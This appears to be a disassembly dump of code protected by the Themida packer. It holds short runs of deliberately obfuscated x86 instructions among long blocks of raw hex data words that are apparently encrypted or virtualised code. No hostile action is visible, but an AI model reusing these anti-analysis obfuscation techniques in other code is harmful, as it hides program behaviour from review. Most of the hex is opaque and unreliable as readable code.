dd 0C688509Fh, 8082307Eh
; ---------------------------------------------------------------------------
inc edi
loc_5C98D5: ; CODE XREF: Themida_:loc_5C98A7j
lea ecx, [ebp+61A2FCFh]
mov dx, 5E42h
mov [ebp+61209A1h], ecx
push 0
push edx
call sub_5C98F0
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C98F0 proc near ; CODE XREF: Themida_:005C98E8p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_5C98F0 endp
; ---------------------------------------------------------------------------
dd 99FDBF7Bh, 0C7107860h, 12050585h, 675006h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 1B572814h, 81D0B70Fh, 0EB1BDAF0h, 0D985C716h, 6121Bh
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 18042444h, 47000000h, 0D4A7C357h, 52EDF91Dh, 184D9D8Bh
dd 66580612h, 8FDFD881h, 0CD1B5FFh, 6A0612h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1D0424h, 50400000h, 558AA8C3h
dd 0CDB69325h, 0F4183B7h, 684h, 0A7D28100h, 896D63F2h
dd 120479BDh, 3195FF06h, 6A06121Bh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 2655C355h
dd 162C4B27h, 8D0F5B36h, 2, 6AF18Bh, 19CD95FFh, 0C08B0612h
dd 0DB1169EBh, 0CA29B0C9h, 17B559B3h, 95A95276h, 0A6809BEAh
dd 1A043F6Ah, 0B8DB5A24h, 63863F5Ch, 0FB4DBD3Ah, 0F35B2256h
dd 3F1E08F1h, 927C5828h, 17F7426Eh, 83F80788h, 0F36EC510h
dd 6E98D91Ah, 47977508h, 10480276h, 0A0068810h, 365F38D6h
dd 0BA5731E2h, 9BB1FFF7h, 20F7F5C1h, 0DD29FD8Fh, 0B1E03F26h
dd 0F11D5C36h, 0E81984B2h, 0Dh, 5A6A33FBh, 0D6FC3BE1h
dd 0A513D8BCh, 9FBF59F3h, 8128D17Fh, 5F3DC1h, 0EFDF8100h
dd 6844FC5Bh, 0
dd 5852958h, 0FF06122Eh, 11E80834h, 0E4000000h, 4B0B7BAEh
dd 0CC039320h, 609ADBECh, 0B8E31673h, 23C9958Bh, 5B5E0612h
dd 1F01B531h, 0C3810612h, 5EA12116h, 8BD9589h, 0EB810612h
dd 5D68AF14h, 0EE9h, 0A69C1800h, 859DF1CEh, 6D96080h, 81FC98A7h
dd 4BFC09C3h, 0F2816602h, 0B536083h, 121D0D95h, 1048F06h
dd 651B589h, 0E8830612h, 0D6805101h, 48485FCBh, 31B58948h
dd 8106120Ch, 0FFA174F8h, 7C850FFFh, 8BFFFFFFh, 1234D995h
dd 0C38D8D06h, 89061A31h, 121D45BDh, 0A18D8906h, 6A061209h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h
dd 41000000h, 5086C351h, 0E5C081C9h, 0C7572DFFh, 12050585h
dd 6AB406h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1A04h, 0C3574700h, 5E3B1B99h, 660B49E7h, 0C71855BEh
dd 121BD985h, 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h, 0C3554500h, 0C7BC7346h, 0F1BD0173h
dd 56061222h, 11E9h, 0C1284E00h, 20B84F44h, 0DD983E86h
dd 6261455Fh, 0FF5A3713h, 121B85B5h, 101EBA06h, 95FF363Dh
dd 6121B31h, 2051958Bh, 6A0612h, 19CD95FFh, 0C08B0612h
dd 3E5628EBh, 0F9581BE8h, 94919A12h, 96978E7Ch, 63CB4D0Dh
dd 0AE7ABDE9h, 7C8214B1h, 726D567Ch, 500EDD41h, 1F90B481h
dd 0EB26E6h, 3D1E9h, 0A7130600h, 0BB251909h, 0D3352D1Dh
dd 0E94F4535h, 0FE665B4Bh, 2694F360h, 3B2BC931h, 5242E044h
dd 6B5BF959h, 76751371h, 387CA415h, 70837603h, 9E1B0F1Eh
dd 0E907052Dh, 2EC6146Fh, 46A8A090h, 5CC2B8A8h, 75D9CEBEh
dd 32C3CE94h, 746D65B0h, 5FD17C14h, 77B069FBh, 3AB8223Ch
dd 4FED554Ah, 6604685Fh, 7F1D7D76h, 9937958Fh, 0F156C40Eh
dd 4E333569h, 0C24BF654h, 2AA2951h, 37E23076h, 2AA9EC6h
dd 0F55FAD76h, 665C12h, 0CDC393FDh, 0B426C967h, 0C0B92B84h
dd 8C097340h, 0E6570281h, 7014C9D5h, 92E3E634h, 6FF4BE66h
dd 11E5C59Eh, 0D82931BAh, 12201h, 1A0FA700h, 5EF65C52h
dd 0AC35965Bh, 78AB223h, 5CFC6FE9h, 0DB6A1131h, 66D01E1Dh
dd 0E908B7F3h, 9598E66Fh, 3227E5DFh, 0A49432CAh, 18A14CAAh
dd 0E9087FA7h, 4971E26Fh, 506FE908h, 0BDB50302h, 85E61C7h
dd 6D60BB9Eh, 15188276h, 0B7C27BFh, 69FB1052h, 742A2D7Bh
dd 61171A7Ch, 0A9060967h, 1F9012F2h, 75FB10F7h, 8720B806h
dd 1F19E8C8h, 9F8E23C1h, 0FBE85904h, 0A700D2Fh, 178811BCh
dd 6FE930EFh, 6346B0FEh, 0B250B8ADh, 6265CDC2h, 0CE790807h
dd 0E930055Dh, 28C6146Fh, 20F69893h, 6EC4C727h, 0E930B3DBh
dd 0D46CBA6Fh, 0D991B729h, 2BBB7EC6h, 6EE70F80h, 0A8F66FE9h
dd 0A12AB33Eh, 0E96E0830h, 5FC9176Fh, 0FB76DFECh, 0DDE02E69h
dd 46B73227h, 75FB751Eh, 0DCDB3B34h, 6858F68Eh, 0D7600B73h
dd 0FB753E66h, 95FF4D75h, 4FC049B2h, 75FB7527h, 17EE836h
dd 57C87306h, 75FB74F3h, 446CDD66h, 4B75FB75h, 66B493FDh
dd 1BE3D8C8h, 8A28C024h, 642575E7h, 9598FAF2h, 27BEAB3Fh
dd 6A437FE9h, 3459E463h, 2D4C6410h, 0B079EA95h, 0F969FB9Bh
dd 0F8F2A8ABh, 4AE2403Ah, 0AF8C5AACh, 65EA363Dh, 6AD83Dh
dd 0FBF58483h, 0FB0C7CA8h, 1109DF75h, 0EC56ACAFh, 1EBC1A14h
dd 0D3D6342Eh, 0C2C5231Dh, 0ABAE180Ch, 959800F5h, 71E0C079h
dd 0AB7A5A13h, 0C0B553B1h, 0DE2F7F69h, 2AB0h, 636A5600h
dd 0B211FBE4h, 2EC68A93h, 2C24FA83h, 34ED60CAh, 6569FB66h
dd 645E1417h, 8B855B06h, 6AD42A2Dh, 270DECh, 0FBB0000h
dd 0FB595319h, 0B0AA6063h, 199F9F2h, 6137C063h, 0AA00036Dh
dd 0E907EF17h, 2C9DFE6Fh, 6FE90704h, 0BB25BD0Bh, 0B3190F7Fh
dd 44B51615h, 6FE90710h, 0E3A59D73h, 308689EBh, 0D53F9598h
dd 27FDA8F6h, 33C2D12Fh, 0C3269079h, 75DEC12Bh, 0B92116ECh
dd 0A5CD60B6h, 0B46FE9F7h, 2A24FC66h, 0B372C9CCh, 0A70F04D3h
dd 0E6474EA4h, 0C0B81610h, 6FFA64CAh, 0E9F7CAFEh, 0E08BD96Fh
dd 0AB71E557h, 8E48DB2Ah, 9B89B124h, 42906FE9h, 759D0E97h
dd 846FE99Bh, 5E4ECC36h, 0AF680664h, 2F11CFh, 0FBF0000h
dd 4BB4B715h, 72951C2h, 0E2306FE9h, 79EC637h, 5FAD6FE9h
dd 0B2231DF5h, 7F82E4DCh, 76E9629h, 0CF7D6FE9h, 1A7073D9h
dd 0E24CEA82h, 0B01C0FA6h, 9FFDF7ADh, 8DEDE69Ch, 79DDD48Ah
dd 63CBC076h, 4DB5AA60h, 389E944Ah, 25877F35h, 0E786C22h
db 0Bh, 4Dh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
push 749Ch
mov [esp], eax
push ebp
push edx
mov edx, 61A31F7h
mov ebp, edx
pop edx
mov edi, ebp
pop ebp
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop eax
sub esp, 4
mov [esp], edi
pop dword ptr [eax+8]
push dword ptr [esp]
pop eax
add esp, 4
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_54EA15
; ---------------------------------------------------------------------------
dd 27FBDCA2h, 30095506h, 0A6F66527h, 4CB88CB0h, 3061A35h
dd 0EBE0FFC5h, 0D332120Ch, 5405ACC9h, 0F038286h, 0B0595FBAh
dd 3F714FB6h, 8A179D76h, 0D20FA61Ch, 4346AB45h, 9A55EE2Ch
dd 0B80B69B8h, 0C5013D7Fh, 863802A4h, 496C97EEh, 644B1242h
dd 1B65B810h, 47C84FEh, 7610BCAEh, 511114B3h, 0D72CF38Ah
dd 6821F95Bh, 9B3CB436h, 0E5EB4EAh, 0C60E5424h, 141E5A65h
dd 79451BDFh, 6555378Ch, 0E83FDE61h, 0E86DCAA0h, 150DD319h
dd 921BF7E4h, 0F1599CAh, 68Dh, 0A3E28100h, 0F401204h, 18Ch
dd 8166F800h, 8B2CF0EBh, 3870FCEh, 66000000h, 0CE8CE8Bh
dd 8E000000h, 0EB988C48h, 43471AB9h, 0F186A79h, 665FD1BFh
dd 0D235C681h, 0BE8h, 232BF700h, 0AC7E0AF0h, 8532062Ah
dd 800Fh, 0E95E0000h, 0Ah, 0FBEA757Dh, 71A5F925h, 2CB28B78h
dd 6E8h, 0C6DFEA00h, 5733202Bh, 0DE8h, 9AB83900h, 2AE11BAFh
dd 33D8DCF9h, 5E5F9391h, 0FDCB459h, 88h, 0B1E08100h, 0F19253Dh
dd 387h, 73D98000h, 0FDDB8166h, 0B0F18AB6h, 0B6B460F3h
dd 0B93365BAh, 8F0F612Ah, 2, 0DB81F08Ah, 5893C648h, 28B0Fh
dd 0ACB60000h, 80DFBF0Fh, 52F9FBC6h, 2850Fh, 5B570000h
dd 66F18B58h, 0EE9F78Bh, 0DA000000h, 4259C6FDh, 7C082FE8h
dd 39C3C8A2h, 0B3CA8BD1h, 6653601Ch, 665ECB8Bh, 0E57CEE81h
dd 68F0F61h, 0F000000h, 85h, 890F00h, 0B9000000h, 64F40D50h
dd 0B9A1D280h, 4B4C7778h, 9BC9BB66h, 0D58057F5h, 0BF0F5885h
dd 5E9C6h, 6D3B0000h, 53F5EF05h, 5E616051h, 66C68A5Fh
dd 3275E681h, 944EE881h, 0BA6674CDh, 0EABF60E0h, 6068F0A2h
dd 6E8h, 385D4A00h, 8AF6688Ch, 0FE85AE7h, 0AE000000h, 14CEB371h
dd 8A11BA21h, 0A1530D14h, 0AB68409h, 12E9615Fh, 9E000000h
dd 0C9902E78h, 7FB769EFh, 40E49A0h, 23B6713Bh, 8AF9FCCDh
dd 7E9C2h, 46770000h, 0A788B74Ch, 13E93Ah, 18A60000h, 0B1AAF083h
dd 0A87EEED8h, 0CA39EAE3h, 863837A3h, 11B96606h, 14E9F962h
dd 69000000h, 2DA00307h, 0BE632AB3h, 192EF322h, 0EAD19101h
dd 0FEE3D7Fh, 1480h, 9E96000h, 0F3000000h, 0EEE3CC28h
dd 120A917h, 0DEB3B866h, 6E861h, 133A0000h, 555E790Fh
dd 805EB5B1h, 8D0F36C9h, 3, 0F948CD80h, 0E9C0B70Fh, 7
dd 39468A1Bh, 660697FEh, 0FB7FEB8h, 0D8Bh, 8E900h, 5E360000h
dd 0DE16E434h, 0FE9602Ah, 44000000h, 0F4F519Eh, 8CCF3A85h
dd 0C36D2171h, 0D38BE24Ch, 0B53DBA66h, 5928B953h, 50597C7Eh
dd 0D08B665Bh, 0AD753CB9h, 0D3C7817Dh, 805D931Ah, 0D181BDE5h
dd 4FBCF1FDh, 0E9EAF180h, 14h, 19733905h, 24EA61Ch, 908DE8B0h
dd 95387CDEh, 0D0273573h, 66FE8BF5h, 13E9C68Bh, 95000000h
dd 7BB7B5F9h, 7F25A982h, 178BE8CEh, 4ABF12FCh, 0FE8BBCBBh
dd 17F78160h, 0E86B0D0Dh, 0Dh, 0AEDC071Ch, 0FECD07C3h
dd 764C57C3h, 8E9E9h, 55FD0000h, 1A749BFEh, 615A93B4h
dd 0BB66EF8Ah, 14E9E27Ch, 46000000h, 96C5C8E4h, 5CCF0A63h
dd 5D6A7A4h, 8ACC01DAh, 667C8541h, 0B41FE881h, 0FC6BF0Fh
dd 0D78BC0BFh, 0FF8B70Fh, 97B8CEBFh, 811BB126h, 0C7B95CD8h
dd 5FD8817Ch, 0F45646Fh, 820FF2B7h, 0Ch, 7E9h, 79A2FF00h
dd 8B4C7A6Bh, 13E9h, 9A2E8200h, 44357E45h, 0A24008F3h
dd 7DB86224h, 0F86F09DAh, 45A5BF66h, 3860Fh, 0B70F0000h
dd 0C18AFCFAh, 94C143BAh, 0C6BF0F36h, 0E2F68166h, 6E952h
dd 61E50000h, 83008782h, 0FD7BF0Fh, 0B80h, 58C0F00h, 66000000h
dd 8A76E381h, 0BF0FD98Bh, 11E9CFh, 0B1A80000h, 0BE761B4Eh
dd 8DB4ADFh, 8909DC58h, 0F68BA8Eh, 289h, 66F78B00h, 8E0FF88Bh
dd 3, 0E87EC180h, 0Ch, 1AB8B9E9h, 79257BF0h, 0CD6C1074h
dd 57D7D081h, 0B35A4CD4h, 810F40h, 66000000h, 91A2D381h
dd 0C8C5B8F5h, 9E80FC2h, 0F0000000h, 0A69ED355h, 0C3153BA8h
dd 4361F381h, 8A59387Dh, 0EE9EAh, 40510000h, 0DC28A355h
dd 0CFAA8EF9h, 0A1FEBB7Ch, 9E8h, 8B630D00h, 2A5011C0h
dd 0F535B42h, 5F5ED8B7h, 60F08166h, 6820FB8h, 81000000h
dd 251BEFC0h, 5E858h, 2BBD0000h, 8B113E31h, 0AAB55FF2h
dd 14E8h, 0BEDA8000h, 0DC1B9CDBh, 0BA7C4062h, 997DF1AEh
dd 9ABE0BE0h, 58DE8BF5h, 0DE9h, 86951D00h, 5E3B1B99h, 0D10B49E7h
dd 8BFC865Ch, 0E95760CAh, 10h, 8D25072Bh, 0FD953A8Bh, 0C435FEE7h
dd 8539CF2Dh, 61EEB35Ah, 128F0Fh, 0DE90000h, 0FA000000h
dd 8AD21B6Ah, 0A1C2F297h, 20936FEAh, 9E9h, 4470DF00h, 0CB7CFFCCh
dd 0CF8142F0h, 5D85F682h, 7BD38166h, 0F5652DFh, 5E5EC9BFh
dd 1A49F8BEh, 9830F6Ch, 0F000000h, 381h, 0F98B6600h, 80DA8B66h
dd 7E9DAD1h, 5C000000h, 2CFAE249h, 0B8666717h, 0F603C31h
dd 38Eh, 0F08B6600h, 585F5050h, 0BE961h, 4D1E0000h, 0B3D917DEh
dd 5D6D2316h, 0B491B371h, 38C98007h, 3890Fh, 0EB800000h
dd 2E6BB809h, 8C0F7F44h, 9, 38E0Fh, 8B660000h, 0F68166CAh
dd 0A1B26C29h, 0AE8h, 0FEB2B300h, 0F5209D5Ah, 816E2100h
dd 67E8A8C6h, 81665B7Eh, 0E90A24E6h, 10h, 9CFE1CD1h, 0DD1B8BECh
dd 0D0536650h, 0AEB82D8Fh, 6FEA8051h, 0E2DB815Ah, 0F4EDF0Bh
dd 582h, 63DDBA00h, 0CF816C63h, 6DD04146h, 8C33D081h, 0B966297Bh
dd 0D48A1582h, 0CE9h, 0CA9C5C00h, 9ED13D28h, 80972854h
dd 168D0F42h, 0E9000000h, 11h, 4CD4980Fh, 0DB912BDDh, 734AE749h
dd 4ECA9260h, 58E0FDEh, 66000000h, 1E23D681h, 88F0Fh, 8F0F0000h
dd 2, 0D3806160h, 0D1B70FD5h, 50F6B70Fh, 5836D480h, 0DDB8BEF5h
dd 8B66293Ch, 9E8D9h, 1F550000h, 643A9855h, 0E80FADD2h
dd 0Bh, 48B614C5h, 31CC96C4h, 80FCB219h, 585F74DFh, 0E960F08Ah
dd 7, 87D7C663h, 6188571Fh, 3840Fh, 0F9600000h, 66F18B61h
dd 8157F08Bh, 7FF7FCC2h, 0FE85A6Ah, 0F3000000h, 0E4345E36h
dd 602ADE16h, 107AD723h, 0BE66C672h, 0E95A1425h, 10h, 0DC12D329h
dd 4D6C90CBh, 7DAB23D4h, 62E89F1Bh, 0E9ECB0F9h, 12h, 0DC237745h
dd 988A8D6Ah, 58CC8F89h, 0C694F390h, 0CE82DC2h, 0D4000000h
dd 0F30223DDh, 0A7C30E0Eh, 66EC9A8Fh, 0D14DE281h, 0CA8B605Fh
dd 61C6BF0Fh, 0BE8h, 0C3AB9900h, 2150EEB2h, 0E31E249Eh
dd 0CE9h, 0FCDB5E00h, 304CD976h, 0A731D200h, 816658DDh
dd 0FDA89E8h, 66FCC6B7h, 8E0FF28Bh, 10h, 8E850h, 647A0000h
dd 61FD1712h, 5E5A792Ah, 9CC1D881h, 8B667D89h, 21E281D6h
dd 0F776167h, 0C8Eh, 7E900h, 14290000h, 0A7AA96BAh, 0FEBF0F8Ch
dd 3890Fh, 8B660000h, 0AE857F9h, 0E5000000h, 196237FDh
dd 0AD3650CDh, 0DEBF0FABh, 0D8805F5Ah, 6E95Eh, 0C50A0000h
dd 84E8A1D0h, 0EE8166F5h, 0B70F9B4Bh, 41B966F2h, 14C081C4h
dd 6027A0E7h, 0A348F781h, 0B70F1AB0h, 99B461C2h, 14E8h
dd 0F59FD00h, 0EB35DFEFh, 0C0761524h, 16F73B12h, 0CCF4845Fh
dd 9FB9660Fh, 860F5E56h, 5, 94F63BFh, 0CE979h
dd 0ADAC0000h, 456FAC79h, 0B8641871h, 810F5E1Fh, 6, 6918DE81h
dd 8C0F0068h, 5, 16DD0BEh, 0C081665Ah, 0EB812B53h, 1DBEDF59h
dd 38B0Fh, 0B70F0000h, 0F38166D8h, 0BA667A09h, 8B66E01Ah
dd 2BD080CAh, 13E9h, 0C7859A00h, 8AD66222h, 0A8E99B3h
dd 0DBE7900Ch, 0AB99B6F7h, 5860Fh, 81660000h, 8BDF82E2h
dd 8B99BAC7h, 0A8BB7978h, 6603430Ah, 18A1D181h, 7C979CBEh
dd 12E96035h, 0FC000000h, 16558560h, 77D9E3EDh, 0D6F07F87h
dd 2C9CD08h, 0E861F911h, 10h, 5A228F3Fh, 9E14ADA9h, 29176EA1h
dd 0DD507A17h, 35C38166h, 0BF0F5E7Eh, 14E860F8h, 6C000000h
dd 9E28C5D2h, 0D3E5DBEDh, 914E07EEh, 675CC060h, 0BAA26276h
dd 237CE933h, 10E959h, 0DB020000h, 8DE341C0h, 0C2D86569h
dd 4DB852FFh, 0F6154C8h, 0E78AFFBFh, 9E8h, 8536F800h, 48FBEFABh
dd 8B665513h, 5E95BC1h, 0D3000000h, 0CD55625Bh, 0D22EBF66h
dd 0FDA8B66h, 58Bh, 0DB816600h, 66511827h, 5E9DD9BFh, 5890Fh
dd 94B90000h, 0BF5C0941h, 2E549CD2h, 78A0Fh, 66510000h
dd 3AA1F281h, 0B048BF59h, 0E381449Fh, 3337EFC8h, 13EA8166h
dd 0CB816673h, 0D3817727h, 1C65A4A8h, 8BB9ED80h, 1893B8F3h
dd 0F78B3C4Eh, 0DE9h, 0A8358A00h, 2E0A40E0h, 970F7152h
dd 0CE90EE1h, 9E000000h, 0C81AE002h, 2713922Bh, 51B2FD6Eh
dd 0BB52515Bh, 250D3844h, 0E9F5585Bh, 10h, 8D9A6699h, 8BDA073Ah
dd 0B7743699h, 43E44F20h, 9464BF66h, 0F2EA8166h, 0E9FE8AE1h
dd 5, 0AF7771AAh, 0FC28A3Eh, 1587h, 10E900h, 0ED430000h
dd 0F05AF32Eh, 0B6579D3Bh, 0A21D3FB9h, 14B20EDFh, 5FF78166h
dd 0C5CD8007h, 8166F28Bh, 80A056D6h, 0CE92BD3h, 0BD000000h
dd 0AE039548h, 34B445D8h, 0B0D4024Ah, 0AE950h, 8A980000h
dd 0E5C804A5h, 855C3EE2h, 68F0Fh, 0C9810000h, 79E31521h
dd 666004B5h, 8166F18Bh, 617DC2D2h, 66607AB0h, 0E9388EBAh
dd 0Ch, 56912C5Ch, 0C2AAE3E8h, 791D5429h, 0FBBF0F61h, 0EE960h
dd 0F3F40000h, 0F659D238h, 9B6F2262h, 0AFCA1D97h, 61F3BF0Fh
dd 3810Fh, 0B70F0000h, 0F6B70FDAh, 0FF7B70Fh, 688h, 79EE8100h
dd 66648197h, 81AD7ABEh, 5DF6BBEFh, 6E95605h, 0A3000000h
dd 0CE85EB34h, 14E95856h, 93000000h, 0CAB4F3B0h, 42704D50h
dd 487DC659h, 734BACD5h, 0FF9D613h, 7E9FEBFh, 8A000000h
dd 0A1C2F297h, 0CB806FEAh, 0A840F62h, 0F000000h, 48Eh
dd 0FEBB6600h, 0F28B60C8h, 58B0Fh, 14BA0000h, 61170572h
dd 0CE9h, 3A3F2000h, 7A1EDDD1h, 74B0BE81h, 6E959h, 6EC90000h
dd 520E6FAFh, 0E9F98B66h, 0Dh, 0B86936C4h, 52F57A2Ah, 84E733E6h
dd 0D681663Ch, 0B966DB28h, 0D3800FC6h, 0CE8B5h, 0D7DB0000h
dd 0B7CED4C2h, 9B7A34Ah, 0BF0F06C2h, 0D6BE5BF8h, 0F7D6701h
dd 38Ch, 9EE58000h, 7870Fh, 8E0F0000h, 1, 0D1B70FF8h, 11E9h
dd 0C015E600h, 0C47EF2BBh, 0A230DE7Ch, 0F9C712F4h, 0DA800A17h
dd 7830FBBh, 56000000h, 718AC4BFh, 0EF815F1Eh, 4E109883h
dd 7FC8E281h, 60607E60h, 0BC38166h, 0B70F614Ah, 0FFC61CBh
dd 82h, 10E800h, 0FDFD0000h, 0DE95255Fh, 0D7F9076Fh, 43A69B40h
dd 8166DE0Eh, 5F8518F7h, 67DFBB66h, 748082BBh, 800F606Ch
dd 5, 74DB8166h, 0B3E9BF9Bh, 0E961154Ah, 12h, 918B5298h
dd 9E6B7DBBh, 9E302A4Eh, 632BB765h, 8B665089h, 0FA7B2D0h
dd 0A80h, 0D3BE6000h, 0F7CB9D4h, 0F61D1B7h, 38Fh, 0F08B6600h
dd 8B66FA8Bh, 0E88166CFh, 8B66979Ah, 0C38BF9CEh, 6E89BB5h
dd 49000000h, 78900CDh, 5FCEB0E3h, 0F9B70F60h, 0EE8h, 0D1A6C900h
dd 0B51A5711h, 0CEAE810Ah, 607E32E9h, 0E8615861h, 6, 0B406796h
dd 8166775Eh, 5BB928D6h, 0E3E08166h, 0E860521Eh, 0Ch, 6A5A2D11h
dd 392BA5FBh, 0D0E6F129h, 61F08B5Bh, 5E85Eh, 0E01B0000h
dd 0B16CEBBDh, 74BE5F92h, 0B9308161h, 67C946F1h, 0CCBB6656h
dd 0B56058B0h, 0E0816625h, 66619E9Fh, 0C3E8E181h, 0FE8B66FCh
dd 35E18166h, 0B7D18BC2h, 28C88026h, 0F913D580h, 0CE9F5h
dd 38410000h, 5481F0E0h, 0A3203B75h, 8A0FDFC5h, 6, 6245DA81h
dd 0E96047BBh, 13h, 3CC8A546h, 0ADAFBC1Bh, 61C4690Ah, 0C4B6E833h
dd 0B7E48CF4h, 0B70F6149h, 0FEBE53DBh, 5F481749h, 94CB8166h
dd 0CE72BF26h, 8B667EA0h, 0AE8C6h, 0FC6A0000h, 1043D077h
dd 0BE695405h, 0CE9h, 5962F700h, 72D2F326h, 19F78400h
dd 880F5F88h, 9, 3840Fh, 0B70F0000h, 0F88B60C8h, 61A2DE80h
dd 5EF28B50h, 0B70FC28Bh, 0CBBEF9FBh, 8B7BB762h, 0CDBF66CAh
dd 0E8BF60CDh, 6027758Ah, 560CCE80h, 6661615Eh, 0DDC7EA81h
dd 0EE9h, 0F140CD00h, 0A113A7Fh, 0E8A1D0C5h, 669B9F84h
dd 606B6ABEh, 0FE8h, 1875FB00h, 0B23D7B28h, 38562198h
dd 66BA04DFh, 66585F53h, 61F2B0BAh, 0CCEE8166h, 0E961602Ah
dd 9, 41CF2579h, 1207C290h, 0F6816608h, 0C681523Ch, 71FBB029h
dd 5E857h, 81D20000h, 66FB99A6h, 5BE035BEh, 0FE85Fh, 64910000h
dd 0AE2369A3h, 4CE839B8h, 0A1F4411h, 59526063h, 66565F61h
dd 5B37C4B9h, 98B0Fh, 66600000h, 0BF66C18Bh, 0BB61BFA3h
dd 0E8E564Eh, 5E9h, 2F3E8700h, 0EA8A120Eh, 14E8h, 0EE628A00h
dd 0F23E2000h, 0C17DE923h, 21DC7047h, 654C7CF2h, 0CE8604Dh
dd 4B000000h, 5DF7FBCh, 68672E19h, 584FC60Bh, 59615F56h
dd 0A6CBC881h, 7E943C8h, 0B6000000h, 1930BB0Eh, 0BAF8CCA3h
dd 75539444h, 0AE8D88Bh, 4D000000h, 0D72E153h, 0A5A902F1h
dd 2860FA1h, 0B7000000h, 0D8805E7Ah, 6840F37h, 60000000h
dd 61605F52h, 0F2BB6661h, 85B966BAh, 3FBF6614h, 8F0F56FBh
dd 3, 5A68CC80h, 0B71BB66h, 2ED614BAh, 0BDE98107h, 66476A32h
dd 0D38BDF8Bh, 0AE9h, 0E6733000h, 18FCA532h, 0F083D09h
dd 18Ah, 0D78BF900h, 64F68166h, 0F38B6646h, 0B840Fh, 6E90000h
dd 35000000h, 0E8D59C3Dh, 7E978h, 4D030000h, 9D9042F1h
dd 5E8EEh, 4DB20000h, 6662A14Ah, 7F14E781h, 0CE95Bh, 6B490000h
dd 4A1B426Ah, 0BD05CBAFh, 5A5233FEh, 0BAD9BF0Fh, 46132BB1h
dd 0F2D8BA66h, 7E9h, 0CA335B00h, 922ECE5h, 11E9h, 6C567D00h
dd 28B11ADBh, 1985CCCAh, 160696AEh, 0AE81318h, 4B000000h
dd 0B4972C7Ah, 0F2E02A5Eh, 13E925h, 4C9D0000h, 8B30FDB4h
dd 0BF54DBFh, 4AECCDFDh, 0CFB416CAh, 0BE85EE6h, 0E0000000h
dd 0C85FAA7Eh, 0FC4103F6h, 6060F994h, 880F61h, 61000000h
dd 0E994B259h, 12h, 0CC7F33FEh, 9FA65F28h, 74C8ED8Dh, 0E7D5C551h
dd 0EE815B86h, 1B268AE5h, 0FDB96653h, 7E95874h, 1D000000h
dd 2C3F0237h, 0BF6655AAh, 0F081FA06h, 4145EA36h, 5857D18Bh
dd 10E8h, 0B2AA3300h, 73206B6Fh, 142ACA56h, 5ABC386Dh
dd 17BE6083h, 8009038Eh, 586197DAh, 6EBF6660h, 6850FFEh
dd 0F000000h, 82h, 0F28B6100h, 0BD25BA66h, 0B70FC58Ah
dd 0CE8C2h, 5F160000h, 0FCCF484h, 18A160B8h, 0F58A19B4h
dd 8870F58h, 0F000000h
dd 285h, 8AC68B00h, 0AFBE66F8h, 7F4FBB40h, 81663A42h, 0F6719C6h
dd 8166C8B7h, 0BE7887C2h, 176A0E3Bh, 12E9h, 0FC730600h
dd 129DEC2Eh, 31E97F36h, 0D411FC6Ch, 0F4B6757h, 38Fh, 0F38B6600h
dd 13E8h, 0AA2B600h, 870D8088h, 0EDF37715h, 76D44A1Eh
dd 0B143BFE1h, 0DDFBE181h, 66592553h, 0DA8BF38Bh, 8E8h
dd 0F3133E00h, 0BD643B29h, 3830F47h, 66000000h, 0E85EDA8Bh
dd 13h, 841389A4h, 27751858h, 70A1C890h, 98F42096h, 0F1F49C3h
dd 0E8Fh, 9E900h, 33610000h, 0F4C4B6E8h, 58EEE48Ch, 11E9h
dd 1A791300h, 7A02A887h, 0E039009Dh, 0D8C861EBh, 0F528C4Fh
dd 18Ch, 665BFC00h, 0B966C38Bh, 12E9125Bh, 2E000000h, 0D54EA313h
dd 2DD88652h, 3A9F5D9Bh, 717948B1h, 608FB7E4h, 3800Fh
dd 0CE800000h, 1810F1Ah, 0F9000000h, 6E8F961h, 0C2000000h
dd 0C15CDA2Eh, 7E95130h, 3B000000h, 47851A47h, 5A5921F4h
dd 6E952h, 0D8D70000h, 78EE2AE4h, 10E958h, 0EF670000h
dd 70E98CC7h, 0D8F8A6EEh, 9A05965Fh, 0BF0F8AEAh, 0D180D7h
dd 951EB860h, 0F3B255CEh, 48F0F61h, 60000000h, 6661F9F8h
dd 812E78BAh, 3F9766F2h, 0B966FC3Bh, 10E98427h, 2000000h
dd 0E52C900Bh, 2BC3F21Eh, 13135E8Fh, 6630A676h, 8151DF8Bh
dd 132873C3h, 0F0815B16h, 76D94754h, 5118C780h, 0C44D83BAh
dd 0B2565E63h, 0BF0F5E85h, 0F0BF0FD8h, 0CE9h, 0E6D7EF00h
dd 21A87CEEh, 0E7626D86h, 1CA0BB5Dh, 6660567Dh, 0F375DF81h
dd 0F5C28161h, 662D0CF6h, 0B229D381h, 4AC08166h, 7C1814Ch
dd 80457B1Dh, 8166DBC2h, 6098D9C2h, 6E9h, 208DF800h, 66FF2405h
dd 617F72B9h, 0D18BC68Bh, 0DBE08160h, 817181BDh, 0F7AA12D6h
dd 8B66614Ch, 9782B8C6h, 890F4B5Eh, 3, 8B73DF80h, 1880FD9h
dd 0F5000000h, 0D1EA85B9h, 148E0F08h, 0E9000000h, 0Fh
dd 0C772C3EBh, 210AA99h, 89118BD2h, 8B98F8E6h, 70B866CBh
dd 13BB6697h, 0DE8B666Fh, 0F1BF280h, 870FC0BFh, 1, 0CE8B60F8h
dd 63DFBF66h, 0B9D38B61h, 2AEF1DBAh, 5E9h, 78D1AF00h, 14E98B6Bh
dd 0AE000000h, 0A2AF6B2Ch, 0D1A6C9C9h, 0B51A5711h, 0CEAE810Ah
dd 0F7E32E9h, 58Bh, 4DAAB800h, 0F506398h, 8058D2BFh, 0BE81ED5h
